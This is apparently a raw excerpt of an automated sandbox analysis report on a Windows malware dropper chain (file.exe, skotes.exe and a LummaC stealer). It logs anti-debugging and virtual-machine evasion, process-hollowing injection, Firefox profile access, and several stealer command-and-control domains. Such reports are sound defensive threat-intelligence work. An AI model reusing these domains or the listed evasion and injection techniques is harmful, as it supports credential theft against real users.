Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63ED83 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63EE2E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 63EDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 877C3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 101ED83 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 101EE2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 101EDA7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1257C3D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Special instruction interceptor: First address: EBB250 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Special instruction interceptor: First address: ECBA06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Special instruction interceptor: First address: F3F926 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04E204E8 rdtsc

0_2_04E204E8

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3388	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2815	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 649	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 819	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 642	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 686	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 587	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 1236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 1107	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 590	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 826	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Window / User API: threadDelayed 606	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3700	Thread sleep count: 167 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3700	Thread sleep time: -334167s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4856	Thread sleep count: 163 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4856	Thread sleep time: -326163s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6320	Thread sleep count: 224 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6320	Thread sleep time: -6720000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7072	Thread sleep count: 3388 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7072	Thread sleep time: -6779388s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3108	Thread sleep count: 155 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3108	Thread sleep time: -310155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6244	Thread sleep count: 2815 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6244	Thread sleep time: -5632815s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6264	Thread sleep count: 153 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6264	Thread sleep time: -306153s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1512	Thread sleep count: 155 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1512	Thread sleep time: -310155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7072	Thread sleep count: 649 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7072	Thread sleep time: -1298649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6244	Thread sleep count: 819 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6244	Thread sleep time: -1638819s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 4080	Thread sleep time: -1284642s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 4048	Thread sleep time: -1372686s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 3660	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 1132	Thread sleep time: -1174587s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 880	Thread sleep time: -2473236s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 3204	Thread sleep time: -2215107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 5036	Thread sleep time: -1180590s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 6896	Thread sleep time: -1652826s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe TID: 3556	Thread sleep time: -1212606s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_004436A9 FindFirstFileExW,	15_2_004436A9
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_0044375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_0044375A
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_004436A9 FindFirstFileExW,	17_2_004436A9
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_0044375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_0044375A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 30000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\doomed\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\0absryc3.default\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\	Jump to behavior

Source: file.exe, skotes.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: file.exe, skotes.exe.0.dr	Binary or memory string: 7\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 5d7a2e45de.exe, 0000000E.00000003.2672918067.0000000006BB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'q
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: file.exe, 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2272669238.00000000011A5000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10550
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10606
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	API call chain: ExitProcess graph end node	graph_15-14432

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04E204E8 rdtsc

0_2_04E204E8

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe

Code function: 15_2_00435020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

15_2_00435020

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060652B mov eax, dword ptr fs:[00000030h]	0_2_0060652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0060A302 mov eax, dword ptr fs:[00000030h]	0_2_0060A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FEA302 mov eax, dword ptr fs:[00000030h]	2_2_00FEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FE652B mov eax, dword ptr fs:[00000030h]	2_2_00FE652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FEA302 mov eax, dword ptr fs:[00000030h]	3_2_00FEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FE652B mov eax, dword ptr fs:[00000030h]	3_2_00FE652B
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_0045519E mov edi, dword ptr fs:[00000030h]	15_2_0045519E
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00431614 mov edi, dword ptr fs:[00000030h]	15_2_00431614
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00431614 mov edi, dword ptr fs:[00000030h]	17_2_00431614

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe

Code function: 15_2_0043FE2C GetProcessHeap,

15_2_0043FE2C

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00435014 SetUnhandledExceptionFilter,	15_2_00435014
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00435020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_00435020
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00434C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	15_2_00434C64
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_0043B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	15_2_0043B4B9
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00435014 SetUnhandledExceptionFilter,	17_2_00435014
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00435020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_00435020
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00434C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_00434C64
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_0043B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_0043B4B9

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe

Code function: 15_2_0045519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

15_2_0045519E

LummaC encrypted strings found

Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe "C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"	Jump to behavior
